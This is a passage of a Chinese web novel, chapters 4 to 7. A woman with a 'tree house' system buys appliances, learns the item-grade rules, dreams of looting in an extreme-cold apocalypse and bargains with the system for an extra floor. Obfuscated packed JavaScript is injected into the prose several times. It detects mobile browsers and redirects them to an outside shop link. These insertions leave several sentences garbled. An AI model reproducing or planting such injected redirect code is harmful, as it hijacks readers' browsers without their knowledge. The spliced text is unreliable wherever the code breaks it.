p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167132|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的家具都收进空间，再拿到树屋里一件件试。 不可以的有：维修多次的中等冰箱、掉漆的中等餐桌、破旧的差等木床、时常接触不良的差等微波炉。 可以的有：三人座实木良等沙发、榨汁机、豆袋沙发、笔记本电脑、平板电脑、空气炸锅等等。 要特别说明的是，除了实木沙发，其他可以进入的物品，并没有触发系统检测。 看来良等就是品级要求的最低档，而且不是所有东西进入树屋都要达到要求，受限的只有大型家具电器，小型物品是可以自由进出的。 忙活半天，树屋里一地东西，穆叶把门口堆着的“不及格”家具，用空间再送回了原位。 她回到树屋，把豆袋沙发上的笔记本电脑抱在怀里，转身坐下。 “对了，刚刚我复制的空气炸锅呢，在商城吗？” 测试品级规则时，除了完全达不到进入标准，无法放进树屋的，其余物品都有一条类似【是否需要复制XXX数据并上架至商城】的消息弹出。 又是什么树屋的隐藏规则吗？ 出于谨慎考虑，她复制了一个无关紧要，但又比较实用的空气炸锅。 面板上，商城图标发着微弱的光，像是给她的提示。 穆叶进入商城，看见“住”分类的商品栏，第一格显示着空气炸锅的缩略图。 下面标注价格：【复制品，金额：78？？？】 就算是树屋统一使用的货币，以升级需要的5000为参考，78也很不便宜了。 这就等于装修时，花5000块能修改房屋布局，或是提高装修档次，但是花78块，只能获得一个不是必需品的小家电。 究竟是房子太不值钱，还是小家电太值钱？ 总之就是不划算，非常不划算！ “有钱在哪都能过得好”，看来这句话放到末世后，也同样适用啊！ 不过这个“复制品”的标记又代表什么？ 穆叶总觉得像“二手货”、“中古”的意思，假如不是复制品，价格会贵很多、质量会好很多吗？ 她虽然想知道，却不敢再复制别的东西实验。 如果商品格数有限，多复制一个没必要的东西，就会占用一个生存必需品的格子，这尝试的代价可太大了。 但穆叶因此想明白了另一个点。 与其在树屋商城里花冤枉钱，不如现在这个阶段，用手里有、但即将失去价值的现实世界的钱买齐家具家电。 树屋的货币怎么获得、收费怎么计算她不知道，但她知道现实的物价、手里的现金和银行卡里的存款。 她家条件还行，即便重启没发生，拿些钱买家具家电，也不会对生活造成什么影响。 她想不到比这更好的做法了。 至于鉴定，和虚拟面板上眼睛图案代表的【鉴定】，是一个意思吗？ 穆叶点开虚拟面板的眼睛图标，对着面前的平板电脑再次使用【鉴定】功能。 显示的结果，是一个黄色的【34】。 不一样，和昨天的结果不一样。 昨天她探索面板功能时，也对平板电脑使用了【鉴定】，但结果是一个红色的【13】。 为什么同一个东西，会鉴定出两种不同结果呢？ 她一直以为那个数字表示的是物品品质，所以其实不是嘛…… 穆叶眉毛拧在一起。 如果树屋是来帮助她的，为什么不把这些规则和功能说明白一点，而要让她不停猜，不停走弯路。 平板被放回地面，回到待机状态。 熄屏瞬间，右上角电量掉到了33%。 5. 第 4 章 大雪这天，平津最低温到了零下五度，小尧村的气温也在零度徘徊，下起了零星碎雪。 穆叶照旧起了个大早，从冰箱里拿出一包速冻水饺，下锅煮熟当早餐，又冲了一杯速溶咖啡。 过去两天，她都过着同样的生活。 赶着清早第一班公交，去县城的各大商场购买必要的家电和家具。因为没有车，大件只能让商家送货上门，小件物品偶尔避开了监控，就被她塞进空间转移进树屋。 下午六点前要买好晚饭，掐着时间点赶到沿线的某个公交站，坐上最后一趟回小尧村的公交。 七点半左右到家，一边端着饭盒吃变得温热的饭菜，一边指挥送货员把车开进院子，再把买的一堆家电卸下来送进房子。 八点多，卸货结束，送走送货员，把家里窗帘拉上，用空间把这些家电转移到树屋里，拆除包装，按照大致预想归位。 十点，关灯锁门，在二楼卧室里调整树屋布局模型，探索更合理的装修方案，同时搜集末世生存资料，整理购物清单，一直到两点才睡。 两天时间，她把必须的家电买了个大概，家具也随便买了买。 两台容量为630L的双开门大冰箱、两台功能齐全的洗烘套装洗衣机、两台智能蒸烤套装，一台四眼电磁灶，还有两张1.2m、一张1.5m的床。 这个过程中，她对树屋的规则了解更进了一步。 家具家电的优良中差是看质量的，大品牌先进技术的全新电器，可以获得优等的评级，也可以复制上架，但和良等的区别暂时看不出来。 每件物品复制上架的选择机会，只有刚放进树屋弹出提示的那一次。第一次选择“否”，就不能再复制了。 所以她复制了一台高科技环保的优等冰箱，价格是【317？？？】。 好贵！ 随身空间的时间流动并非静止，只是相对缓慢，大概就是一杯热水正常情况半小时会变冷，空间能把时间延长到一小时。 日常使用勉强是够了，但对末世来说，为物资争取的时间几近于无。 原以为金手指万能了，忽然一下发现了这么多限制，穆叶的情绪因此有些低落。 但最让她焦虑的还是倒计时，时间已经变成23天（不足）了，却还没能观测到天灾的迹象。 难道她的猜测是错的吗？重启根本就不等于天灾？ 穆叶端着咖啡站在后院门前，轻轻拧眉注视前方。 屋外墙壁上的白色太阳能灯照在后院地上，那里被踩得平整的土地已经堆起了一层薄薄的雪。 天还没亮，她拿出手机看了看时间，现在是六点二十分，距离公交车到小尧村站，还有二十五分钟。 今天她计划先坐公交车到县城里，再打车去庆阳西北方一片林场附近的家具城。 虽然背靠林场，家具城里多数店铺都在卖木头家具，但因为名声大、客流量可观，许多做定制货架的老板也在那开了店。 穆叶昨晚就量好了地下室的长宽，除去楼梯下工具房占用的面积，还有货架之间要留出70cm的宽度，方便搬卸货物，其余她决定全都放满顶天立地的可移动重型货架，这样收纳物资才不会混乱。 地下室是她现在唯一能确定布局的地方。 而地上两层，虽然她觉得布局已经修改到极致了，但心里就感觉空空的，让她不敢肯定地把建模搬到树屋里。 - 两小时后，穆叶在秋林家具城门口下车。 虽然是小雪天，来买家具的人还是不少。 穆叶从门口拿了张家具城地图，跟随指引来到三楼定制货架区。 这片区域的商铺橱窗全是透明无遮挡的玻璃，站在走道上，里面的样品货架一览无遗。 她连续问了两家店，两家都觉得她需要的数量就几十个，太少了没赚头不愿接单，到第三家店，和老板夫妇谈了许久，对方才答应“开个张算了”。 穆叶还是选择送货上门，家具城和小尧村位置一南一北，即便她有车，这么大的东西也运不了。 老板写完订货单，指着收款码让穆叶再扫800运费过去，见她有一瞬间迟疑，以为她觉得运费贵了，又拿出距离远的事实来讲道理。 穆叶回神立刻扫了钱过去。 老板误会了，迟疑不是觉得贵，而是她突然发现，自己应该重新找个收货地点的。 送货车要开到她家门前，村口是必经之路。 前两天有货车来送冰箱、洗衣机，车里的东西还没卸过一半，她买了一堆大牌家电的事，就被村口八角亭闲聊的老头老太太传遍了整个村。 这批货架的体积也不小，十多个搬进家里，估计马上就能有人来打听发生了什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一切都那么真实鲜活，所有人都在过着充实的日子，没有任何异样，世界重启真的会发生吗？ 雪早就停了，超市的橡胶地上留下了湿漉漉的脚印，作为这场雪来过的证据。 天色渐晚，眼看要赶不上收货，穆叶匆匆结了账，直接打车回家了。 6. 第 5 章 出租车转进她家门前的小巷时，送净化机的货车已经停在那了。 穆叶挂了送货员的电话，下车快步走过去，一边翻钥匙，一边对送货员说抱歉久等。 离她下车不远的地方，赵晓秀和一个穿着洗旧的灰绿色棉衣、围巾遮住半张脸的女孩走在一起。 “这是什么牌子，你知道吗？”赵晓秀打量着送货车上的商标问道。 陶诗琦抬手压了压围巾，露出嘴巴，摇着头说不知道。 赵晓秀咂舌，“冰箱、洗衣机，现在又买了不知道是什么的东西，你说她买这些电器做什么，她们一家都不住这呐……” 赵晓秀对穆叶一家印象深刻。 她管周羽萍叫周姨，她没读过几年书，20岁盲婚哑嫁来了小尧村后，第一个帮助她的就是周羽萍。 那天，周羽萍从纺织厂下班，蹬着自行车路过她家的地，帮怀孕四个月的她给菜苗浇了水。 周羽萍穿着工厂统一的蓝色工服，左胸口有个精致的“翼云纺织厂”刺绣，落下山的太阳把她脸照得通红，虽然脸上已经有了明显的皱纹，但她的眼睛亮得让人不敢直视。 这是赵晓秀第一次拿自己和周羽萍比较。 周羽萍有人人羡慕的工作，她老公在服装厂做采购，同样工作稳定工资高，还对人温和讲礼貌。 反观自己，老公在外省打工，每月寄点生活费，公婆不好相处，还爱偷为数不多的生活费去打牌，经常不多不少欠点账，又领人来家里拿钱。 鲜明的差别让她辗转难眠，这种落差感在那年春节达到了顶峰。 周羽萍的女儿杨静芮带女婿穆诚回村过年。 杨静芮穿着一身粉色呢子大衣，围了条毛茸茸的白围巾，戴着顶灰帽子，气血充足，根本看不出她半年前刚生了孩子。 她只提了个小包，穆诚反而又抱孩子又拿年货，即便一路上被想看孩子的村里人弄得手忙脚乱，也没说一句要帮忙的话。 赵晓秀那会儿即将生产，身体笨重，许久的操劳让她看上去老了十岁，好不容易从过节穿新衣里获得点喜悦感，瞬间就被看见的一切冲没了。 生孩子后，她生活的重心全放在儿子身上，操心他的学习，期盼有一天他能走出大山出人头地，再让她过上好生活。 这样平静地过了许多年，儿子12岁时，周羽萍的丈夫忽然出了意外，人没了。 她看见原本光鲜亮丽的一家人哭作一团，藏在心里的感觉又浮了上来，但这次不一样，她从那个温和男人的死亡里，找到了点平衡感。 没有人能一直顺风顺水，也没有人会一直倒霉，看着儿子优秀的成绩，生活忽然更有盼头了。 美好的畅想停在一年后。 她在集市上卖菜时，儿子学校的老师忽然找到她，说一向乖巧听话的儿子去水库游野泳，腿抽筋溺死了，而同行的三个孩子都好好的。 她找学校、找官方闹了一阵，又疯了一阵，清醒时才发现，老公已经带着公婆跑路去外省生活了，和他一起打工的同乡说，他在那边也有个家，还有个10岁的女儿。 双重打击让她整个人像被劈走了一半，包括身体和灵魂，但没过太久，她就重新振作起来生活了。 为了出轨跑路的老公去死？还是为了那个不成器的儿子去死？ 好死不如赖活，即便这辈子就这样了，她也不能死。 这份不甘心撑着赵晓秀活到了现在，虽然她知道自己叫人讨厌，可那又怎样，她还是活着，越是叫人不痛快，越是证明她活着。 现在，看着眼前人，她又一次在心里偷偷比较。 她的经济来源是村里的补助金和卖得的菜钱，为了省钱，她没有电视机、洗衣机，唯一的冰箱也是八年前的二手货，电灯也舍不得多开，厨房灶台下放着的蜡烛就是傍晚时候用的，她也穿不上穆叶那种看着就用料足、质量好的羽绒服。 但是。 赵晓秀看了眼陶诗琦，比周羽萍家是比不上了，但比陶诗琦家，她这日子也还能过。 忽略心底淡淡的酸涩，还是好奇更多占据在赵晓秀心里：穆叶买这么多新家电是为什么？ 她拽拽陶诗琦的袖子，“走，我俩过去看看。” 陶诗琦面露难色，“赵大娘，我就不去了吧，难得今天上白班，我得回去做饭。” 赵晓秀哼了一声，“不就是水煮白菜萝卜，加一锅大米饭吗，花什么时间。还是说你不好意思和穆叶说话，你俩小时候不是玩得挺好吗？” 陶诗琦捏着袖子里结团的棉花：“那是小时候的事，这么多年没见，突然上去搭话是挺奇怪的，欸——” 赵晓秀不听她说完，拽着她的袖子就朝穆叶走过去，力道奇大，陶诗琦担心她把自己的衣服扯坏了，只好顺着往前走。 她们站在穆叶身后时，送货员已经把东西送进房子转头出来了，赵晓秀没能看见，有点失望。 穆叶：“谢谢啊大哥，麻烦了。” 送货员摆手，从腰侧的挎包里拿出签收单给穆叶签字，然后关上车厢，上车发动。 送货车往另一条路走了，穆叶转身，看见后面忽然多出来两个人，吓得往后退了一步。 “额，有事吗？赵大娘，还有……”穆叶看着旁边的女孩笑了一下。 “她你不认识啊，”赵晓秀像是听见了什么不得了的话，喊了起来，“陶诗琦！那会儿你来过暑假，你俩总在一起玩，还来拿过我家的黄瓜呢！” 穆叶端详着这张隐约有幼时模样的脸，想起来了。 上小学那会儿，她每年只有暑假会来小尧村。 刚开始她对这不熟，每天就待在家里等奶奶做饭、看爷爷喂鸡。 陶诗琦就是村里人，她大穆叶半岁多，热情又开朗，主动带穆叶去摘野果、摸河鱼，六年级之前的暑假，她俩都在一起玩。 但六年级后，穆叶的假期也排满补习班，就没再来小尧村过暑假。 再往后，他们从云山搬家到平津，新环境带来了全新的人际关系网，她也就忘了小尧村的小伙伴，不知道她这些年过得怎么样。 穆叶的目光扫过她凌乱的头发、发青的眼下和起球的围巾，心想应该过得不轻松。 穆叶：“我想起来了，诗琦姐姐，咱们真是好久不见。” 陶诗琦露出个内敛的笑，看向赵晓秀想说话。 赵晓秀不给她机会，扽着她的衣服不让走，抢话问：“穆叶你这是买什么呢，我听说你家最近来了好多送家电的车。” 陶诗琦闻言看着穆叶的脸，看见她的眉毛微微抬高。 “是家电没错，我奶奶过了年想在村里多住段时间，有些家电不好用了，正常更新换代。” “真能折腾，现在的人啊，在村里的想去城里，去了城里又念着村里，”赵晓秀眼睛骨碌碌一转，睁大了看向穆叶，“这么说你家该有不少淘汰的家电吧，要是没地方处理，就都给我呗！” 穆叶愣了愣，没想到她会直接要。 “没那么多，而且怎么处理还要等我奶奶回来拿主意，恐怕不能给你了，不好意思啊。” “怎么呀，这点小事你都做不了主？” 穆叶没接话，从门边的帆布包里拿出榨汁杯，又从购物袋里拿了两盒蓝莓，把一盒蓝莓和榨汁杯递给赵晓秀，另一盒给了陶诗琦。 穆叶：“这是今天买电器送的榨汁杯，给赵大娘吧，拿去榨辣椒做酱应该挺好，蓝莓我买的不多，你们一人一盒拿去吃吧。” 赵晓秀掂了掂不多的蓝莓，觉得那榨汁杯还算实用，心底的话暂时忍下去，“没有就算了，我先走了。” 但她转身没走两步，穆叶就听见她嘟囔了一句小气。 穆叶：…… 陶诗琦：“你别和赵大娘一般见识，她就是嘴巴毒，人其实不坏的。” 穆叶笑笑：“没事，我不在意。这些年怎么样，陶爷爷的病好些了吗？” 爸爸在工地出了事故后，妈妈就改嫁了，陶诗琦从小跟着爷爷长大，成绩不好，只有中专学历，毕业后就到沿海城市打工。 三年前，她爷爷陶瑞得了病，不是多么危险就是折磨人，要长期服药定期复查，为了照顾爷爷，陶诗琦就回了庆阳，在县城找了份工作。 这些穆叶都是听奶奶说的，当时只觉得唏嘘，现在本人站在她面前，才真实感觉到了对方的不容易。 陶诗琦把蓝莓小心放进包里，抬头露出冻红的鼻头，“就那样吧，爷爷大部分时间待在床上和沙发上，每两个月去医院复诊开药，平时要吃得清淡，不怎么吃肉，刚好家里条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167134|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没办法让他经常吃肉，哈哈。” 虽然是自嘲的话，她却说得坦荡，穆叶倒是佩服这种情况下她还这么乐观。 “如果你不介意的话，”穆叶拿出手机，让她输入电话号码，“我爸爸每年都往慈善基金会捐钱，他们有医疗救助项目，我可以帮你问一问申请条件和办法，或许能帮你们承担一部分费用呢。” 陶诗琦非常惊喜，“真的吗？那麻烦帮我问问吧，如果能减轻一些医药费的压力，就真的太感谢了。” 她着急回去做饭，邀请穆叶下次来家里玩，穆叶也保证医疗救助有后续会立马和她说。 陶诗琦回去的脚步都轻盈了很多，穆叶目送她离开，忍不住发出一声叹息。 如果天灾没有发生，她是真的想帮他们爷孙俩渡过难关。 这个年代，面对命运不公，能接受不摆烂、勇敢承担责任的人不多。 - “咕嘟，咕嘟……” 一只只水母一样的洁白馄饨，在沸水里浮浮沉沉。 打满一勺汤浇在放着紫菜、虾米、酱油和猪油的碗里，鲜香的味道瞬间飘了满屋。 穆叶把煮熟的馄饨捞进碗里，端着到餐桌前坐下，把手机充上电，点开租房软件，寻找周边对外出租的仓库。 六点四十八分，今天吃饭吃得早，昨天这个时候，她还在回小尧村的公交车上呢。 穆叶想到今天能这么早回来是因为已经无事可做，默了默，舀起一只馄饨送进嘴里。 唉，忽然感觉没那么香了。 七点出头，周羽萍打来电话。 她刚吃过饭，正一边看电视，一边吃糖炒栗子。暖黄的光打在她身上，好像能闻见那股熟悉的洗衣液味道。 穆叶把摄像头对着没人的角落，她怕奶奶发现接下来她说的全是谎话，因为奶奶是比爸妈还要熟悉她的人。 “奶奶，公司安排去端城出差，大概一周，后天一早我直接从庆阳坐飞机过去，就不回家了。” 一周是她给自己定下的最后期限，如果一周后还是什么都没发生，她就只能把小尧村的一切当一场梦了。 周羽萍呀了一声，语气里带着可惜：“我想着你后天回来，今早还去买了现杀的黄牛肉呢。” “你们公司也真是，人还没去上班，工作先安排到了。小叶子，要是压力太大咱们就换别的工作，别把身体熬坏了，记着我和你爸妈都支持你。到冬至，你差不多也回来了，奶奶包饺子给你吃。” 穆叶心里暖暖的，笑了一下才想起奶奶看不见。 “放心吧奶奶，我肯定比谁都珍惜自己的小命。” 两人闲话了几句家常，说到后院的苹果树时，周羽萍说起种下那棵树的前一年，刚好遇上全国干旱，粮食价格飞涨，她们一家每个人都饿得不行，却都推说自己不饿，想让其他人先吃。 穆叶心思动了动，把手机转过来对着自己。 “奶奶，我有个问题，假如……再遇见当年那种程度的干旱，你觉得我们的生活会变成什么样？” 天灾说不出来，她只好换个问法。 周羽萍摇了摇头：“我不知道，但经过这么多年的发展，就算全国干旱重新上演，发达的科技肯定能让我们比想象中过得好。” “最重要的是我们一家人在一起，有互相着想的心，那不管什么困难，都能被克服，就是互相扶持才让我们有了今天的生活。” 穆叶心中豁然开朗了。 是，无论是对抗全国性干旱，还是到平津全家拧成一股绳扛起创业压力，以往渡过的任何难关，背后都有全家人的身影。有了家人支持，就算是天灾来了又怎么样，她们一定能活下去。 现在她抢占先机知道了天灾的消息，哪怕天灾只有1%的可能性，她都应该利用好手里的一切资源，为一家人在天灾后的世界里，谋求更多生存的机会…… 内心不再动摇，要做好准备、保护家人的想法更加坚定了。 挂了电话，穆叶迅速选好仓库地点，洗了个热水澡后，在十点半前，抱着热水袋躺进被窝，这是回村八天里最早的一次。 过了零点，窗外又簌簌下起小雪。 而穆叶正在梦中大雪纷飞、毫无生机的世界里，被一群人抢走视作救命稻草的火锅底料。 7. 第 6 章 金竹巷的路牌掩藏在鹅毛般的大雪后，眼前白花花一片，什么都看不清。 路面上，雪的厚度已经超过脚踝，身体热量在丧失，抬腿变得越来越吃力，耳边只能听见踩在雪上嘎吱嘎吱的响声，还有自己呼哧呼哧的喘气声。 “快，我们得跑两步了。” 肩膀被人拍了一下，穆叶恍惚地抬起头来，目光落在身前的人脸上，用沙哑的声音喊了声“老爸”。 霎时间，一片雪花穿过层层布料的遮挡，落在穆叶眼皮上，冰凉的感觉让她瞬间清醒了。 这是哪？她怎么会在这里？ 穆诚的眼睛被糊着雾气的眼镜挡住，他穿着她买给作新年礼物的灰色长款羽绒服，围着羊毛围巾，伸出来拉她的手上长了好几个冻疮。 “小叶子，这个小区7栋一楼的超市老板半年前就回老家了，不会有人记得那里开过超市，老爸带了锤子，咱们跑快点过去，翻进后花园撬门，或许能翻出点食物和药。” 穆诚牵住她的手狂奔，隔着厚厚的手套，都无法忽视他手的冰凉。 很快就到了7栋楼下，和穆诚想的不同，一楼原本开超市的住房早就被砸开了，后花园地上，散落着各种碎片杂物纸巾条，还有被包裹在灰黑色黏液里的碎鸡蛋壳。 穆诚停下脚步，摸了摸腿上绑着的锤子，咬咬牙冲了进去，穆叶连忙跟上。 超市里，大多货架都被推到在地。 零星有几包小包装的巧克力饼干掉在角落里，穆诚弯腰捡起来捏了捏，里面早就碎成了渣，但聊胜于无，他收进包里。 “妈的松手啊，我们四个人，今天弄不到食物，是真的可以杀人的！” “你有本事就杀了我，没东西吃我也得死，我今天就和这两罐肉绑在一起了！” 里间传来激烈的争吵声，伴随着物品摔碎的声音，穆诚和穆叶对视一眼，放轻脚步走到门边查看。 看了几分钟，他们弄懂了状况：7栋超市早就被人洗劫一空，房间里这两波人前后脚来，前一波好不容易发现两罐午餐肉，拿了正要走，就碰上来搜集物资的四人组，他们为了抢这两罐金贵的午餐肉，就打了起来。 抱着午餐肉不松手的男人被打得头破血流，他的同伴被两个人架在旁边，哭得眼泪鼻子混在一起。 “呜呜呜，求你们别打了，两个罐头我们平分吧，别打我哥哥！” “谁要和你分，你谁啊，我管你的死活，给老子拿来。”抢东西的人重重地踹了他肚子一脚。 被踹的男人脸瞬间变得苍白，身体出于自我保护想蜷缩起来，却因为被人架住无法动弹，然后发出短促的“呃”声，像是要把肺里所有空气挤出去。 满脸是血的男人本来已经躺倒在地，看见这一幕又开始剧烈挣扎，想往弟弟那里去。 “老大，”架人的小弟手松了一下，已经晕厥过去的男人扑通倒地，“是不是有点过了？咱们拿走罐头不就好了，没必要把他俩弄死吧？” 踹人的男人脸上露出凶狠的表情：“怎么，胆小下不去手？你不弄死他你就替他死吧！” 小弟不敢接话，赶紧弯腰把晕过去的人拽起来抓好。 穆叶不忍心看这场景，拉住试图进去的爸爸，摇了摇头，“我们不要了。” “不行，”穆诚一脸严肃，挣开穆叶的手，“奶奶和妈妈都在等，我们必须弄到食物回去，他们只有四个人，我们可以和另外两个——” “——不爸爸，太危险了不能去，那两个人变成这样，已经做不了什么了，”能赤手空拳把人打成这样的，肯定不是什么善茬，穆叶死死拉住他，指指其他房间，“我们看看别的地方。” 父女俩僵持了一会儿才达成一致，先搜别的房间，没有再考虑硬碰硬抢物资。 房间被搜刮得很干净，已经不知道他们是第几轮了。 找了两个房间都没有收获，他们继续推开下一扇结着薄冰的门，好在幸运女神眷顾，终于在一个四层斗柜的抽屉和隔板间隙里，拿到了四块正方形的小火锅底料。 穆诚接过女儿递来的火锅底料，翻着两面看了看，连忙揣进怀里。 他脸上露出兴奋的神色：“这也可以，这个不错，一会儿老爸去小区外的河里抓两条鱼，煮一煮，大家都吃了暖暖。” 穆叶松了口气：“那咱们就不用抢午餐肉了对吧？” 穆诚点头。 藏好火锅底料，穆叶和穆诚一起悄悄离开超市，想尽快回家。 但幸运的事没有再次发生，才跑出五百米，她们就被一伙人拦了下来。 “诶，你俩是从超市过来吧，跑那么着急，拿到好东西了？” 七八个年轻混混，身上出现了所有季节的服装，一股脑堆在身上御寒。 穆叶看了眼爸爸，努力保持镇定说没有。 为首的几人对视一眼，冲着穆叶父女扬了扬下巴，“搜搜看。” 身后的人立即冲了上来，围住他们。 穆诚摸了摸腿上的锤子，看着越来越近的人，担心发生冲突女儿受伤，就从怀里拿出火锅底料，“我们只有这个，可以给你们，别伤害我们父女。” “靠，是火锅，真让他俩找到好东西了。”混混们双眼放光。 “爸！”穆叶尖叫了一声，“他们没有武器，看着也很虚弱，不一定能抢走我们的东西，别给！” 这伙人看见了这种好东西，是绝不可能轻易放弃的。 虽然他们是很久没吃饭，但是对方两个人，他们却有七个人，要是一群男人还搞不定一个中年男人和一个年轻女孩，真就一头撞死算了。 几人对视一眼，立刻就冲向穆诚。 穆诚被一堆人围在中间，仗着身高优势举高火锅底料，但他手僵得用不上力，不久火锅底料就被人抽出一大半。 穆叶眼看辛苦找来的物资就要保不住，想到还在等待的奶奶妈妈，血液蹭一下冲上大脑，拎着最外层人的衣服就往后拖，把他扯得一个踉跄。 “靠！”跌坐在地上的人骂了声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167135|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>几个小混混转过来对付穆叶，虽然状态不如她好，但是人海战术，没多久穆叶就被撞翻在地。 穆诚也没好到哪去，他拿出锤子威慑混混们，但极寒前他只是个生意人，虽然健康但缺少锻炼并不强壮，胡乱挥舞锤子没有章法，很快就被人控制双手把武器抢了。 “小叶子！” 穆诚看见女儿倒在地上，着急起来，一分心火锅底料就被拽走了。 身后，一个矮小的男人贴地扫腿，穆诚被绊倒了，后脑勺磕在地上发出咚的闷响，他捂着头痛哼。 “走了走了，拿到了。” 领头的混混只想要物资，怕遇见黄雀在后的事，指挥小弟拿上锤子，拿走穆诚的羊毛围巾，又掰开穆叶的手指硬抢走一只手套，就匆匆逃走，消失在雪天里。 …… 梦到这，穆叶一下醒了。 这绝对是噩梦，疯狂跳动的心脏让梦里被人抢走火锅底料，和爸爸一起被推到在路边的惊慌、恐惧和绝望，变得更加真实，更加剧烈。 心悸的不适感压得穆叶喘不上气，拿过床头手机一看，现在才四点二十分。 “呼——” 她打开床头灯，披上厚厚的毛绒睡袍，努力调整呼吸，回想在梦里看见的一切。 平津的金竹巷、足以掩埋一切的暴风雪、毫无生机的城市、结冰的树和草、路口撞在一起的车子、昏暗阴霾的天空、随时在发生的争抢物资冲突…… 无一不显示极寒天气下生存环境的恶劣和艰难，是想起来，都会让她心跳加速的程度。 穆叶不知道自己怎么会梦见这个场景，或许是日有所思夜有所梦…… 但是，她都有树屋了，就算是梦，也该梦点天寒地冻，他们一家人在树屋里暖洋洋吃火锅的场景吧！ 她靠在床枕上沉思，很快回过味来。 这恐怕不是普通的梦，而是系统变相给的提示。 系统能入侵她的梦境，创造让她被数不清的人追逐，询问要不要绑定系统的梦，自然也能为了给她重启的提示故技重施。 毕竟穆叶从没怎么看过极寒相关的影视作品，就算大脑自己编造一个梦境，也不可能那么真实、有逻辑。 所以先前系统不是不愿回答她的问题，而是不能回答吗？ 穆叶一下精神了起来。 系统创造的梦，不仅确认了她对重启的猜测，在倒计时结束后天灾确实会降临，甚至点明了天灾类型是极寒。 那她就可以按照极寒求生的目标，来准备一家人的物资。 终于看到了一点方向，穆叶莫名有些欣喜，下床穿好拖鞋去洗漱。 多睡一分钟就浪费一分钟，不如起床去研究树屋装修和修改购物清单。 穆叶把牙刷塞进嘴里，点亮手机，查看了“近30天天气”。 18个多云、5个晴、5个小雨和2个雨夹雪，没有什么反常的，但她也毫不意外。 极寒的到来，可能和遇见系统一样，都是没有预兆的。 8. 第 7 章 【是否使用免费布局调整？】 “是。” 随着穆叶的确认，树屋里的墙壁和地板上，出现了白色的网格线，眼前虚拟面板的左上角，也出现了“布局调整中…”的字样。 目光所及的地方，在心中构想，一道墙就出现在那里。 这就是布局修改吗？ 穆叶惊叹于树屋科技的先进，把装修房子弄得像玩游戏一样简单。 她看向手里的笔记本，上面是花费一小时重新修改出来的建模，改动不算大，但多出了很多收纳空间。 首先要把一楼分隔成两层。 穆叶目光顺着找到一楼层高的中心位置，在心中想象着生成一个天花板分隔空间。 【操作违规。】 提示跳出，生成了一半的天花板弹回初始状态。 穆叶发出了疑惑的声音，以为是自己的操作不够精准，就又试了一次。 【操作违规。】 怎么会这样？ 穆叶拉动面前地上的网格线，成功竖起一道墙壁，所以系统功能没问题。 难道是因为不符合受力结构，无法直接生成天花板吗？ 她在屋内暂时造了四根支撑柱，再次生成天花板，但还是不行。 “为什么啊？” “不是说随意调整树屋布局，这也违规那也违规，这叫随意吗？” 穆叶仰头看天花板上的灯，瞳孔放大：“还是说把一楼分隔成两层是不允许的？” “这可不行！我的所有设计都是基于树屋可以分成三层的前提，要是不允许，怎么不早说？误导了我，你要负责的。” “你想想，我们一家四口人，要在天灾里活下来，要储存多少物资，要做好各种生存准备，这都需要足够的空间才能实现。” “都让我自己调整布局了，为什么不能分隔出一层呢，都在系统功能范围里，何必增加这种限制？” 在疯狂吐槽同时，她也没放弃生成天花板的尝试，但还是得到了一样的结果。 【操作违规。】 【操作违规。】 【操作违规！】 …… 【操作违规！！！！】 【操作违规！！！！！！】 看着系统提示后面越来越长的感叹号，穆叶也生气了。 “我知道你听得见，系统！” “别说什么一个人用两层楼足够，如果不能提供我家人生存的空间，我也不会使用这个树屋，那不管你来蓝星有什么计划，都要落空了！” “你一个没有感情的系统，不会明白什么是家人。要是不开放限制，让我增加一层楼，我现在就离开树屋，再把那什么吊坠扔得远远的，谁也别想捡到，天灾来了，大家同归于尽就好！” 她的声音在空旷的房间里回荡，说到最后她也想明白，没有刚开始那么着急了。 不管系统带来的是天灾的坏消息，还是带来天灾本身，它既然积极找人绑定，就肯定有所图谋。 它没有实体，不管有什么计划，都要依托人类帮它实现。 所以它未必不是有求于她，开放限制增加一层楼这事，可以谈。 给了系统一点时间思考，穆叶再次尝试。 她提醒道：“你想好，我最后试一次，不行现在咱们就一拍两散。” 说完，她重复先前的操作。 看着生成的天花板一点点遮住顶楼照射下来的灯光，最终完美地和对面墙壁衔接在一起，穆叶松了口气。 这场谈判是她赢了。 “这还差不多，系统，我们是互相依存的关系，以后有什么事多商量。” 系统用【。】表达了它的不满，穆叶没搭理它。 一楼一片漆黑，需要有光源。 刚在心里这么想，虚拟面板上就出现了灯的样式选择。 一共有三种，初始的星星灯，条形灯和筒灯，一楼是主要活动区，必须有足够的亮度，穆叶绕着天花板一圈铺设了条形灯，中间规则地放置筒灯补足光亮。 